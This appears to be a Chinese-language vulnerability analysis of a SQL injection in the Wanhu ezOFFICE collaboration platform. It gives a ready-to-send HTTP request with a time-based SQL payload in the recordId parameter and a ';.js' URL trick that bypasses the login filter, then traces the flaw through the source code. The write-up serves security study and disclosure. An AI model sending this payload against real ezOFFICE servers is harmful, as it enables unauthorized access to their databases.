简介

万户ezOFFICE协同管理平台是一款面向企业用户,提供办公自动化和协同办公解决方案的软件。万户ezOFFICE协同管理平台存在SQL注入漏洞。由于参数缺乏过滤,允许攻击者利用漏洞获取数据库敏感信息。

漏洞复现

GET /defaultroot/modules/govoffice/gov_documentmanager/receivefile_gd.jsp;.js?recordId=1;waitfor+delay+'0:0:6'--+- HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close

漏洞部分

首先进入到 receivefile_gd. Jsp,可以看到判断 gd 的值是否为空,若是则走入到 else

在这块先创建了一个名为 myParaTmp 的 hashMap集合,然后键值对的形式把 recordId 和他的值存入

之后实例化了一个 WorkFlowButtonBD 对象并调用他的 delWFOnlineUser 方法,然后把我们的 myParaTmp 集合传入,跟进看一下

创建了一个名为 pg 的 ParameterGenerator 对象,并传递了参数 1 进行初始化。然后使用 put 方法传入参数 para 与 Map.class

首先初始化了一个二维的对象数组 parameters,然后将 para 存储在 parameters 数组的 [this.counter][0] 位置,将 Map.class 存储在 [this.counter][1] 位置。然后返回 1

再回到 WorkFlowButtonBD 的 delWFOnlineUser 方法, 之后创建了一个名为 ejbProxy 的 EJBProxy 对象。通过传递了三个参数来初始化这个对象:"WorkFlowButtonEJB" :可能是 EJB 的名称、"WorkFlowButtonEJBLocal" :可能是本地接口的名称、WorkFlowButtonEJBHome.class :可能是 EJB 主接口的 Class 对象。

跟进 WorkFlowEJBProxy 类看看

直接调用了父类 EJBProxy 的构造方法

首先获取 WorkFlowButtonEJBHome.class 的全限定类名,然后截取最后一个点之前的内容再拼接 WorkFlowButtonEJB 和 Bean,得到 com.whir.ezoffice.workflow.newEJB.WorkFlowButtonEJBBean,然后就是加载这个类(WorkFlowButtonEJBBean),并通过 newInstance 实例化该类

再回到 WorkFlowButtonBD 的 delWFOnlineUser 方法

然后调用 EJBProxy 对象 的 invoke 方法,传入 delWFOnlineUser 和对象数组 parameters

经过一些处置之后:parameterClasses 的值为 Map.class,parameterValues 就是我们最开始的 myParaTmp 集合

之后就是反射调用之前加载的 WorkFlowButtonEJBBean 类的 delWFOnlineUser 方法,参数为 myParaTmp

获取 recordId 的值,然后在构造 sql 语句时使用了拼接

鉴权部分

万户ezoffice鉴权代码在 SetCharacterEncodingFilter 这个过滤器中,

首先会通过getRequestURI() 来获取 url

然后获取文件后缀

因为之前使用的 getRequestURI() 来获取 url 这块我们可以通过 url 截断来绕过 .jsp;.js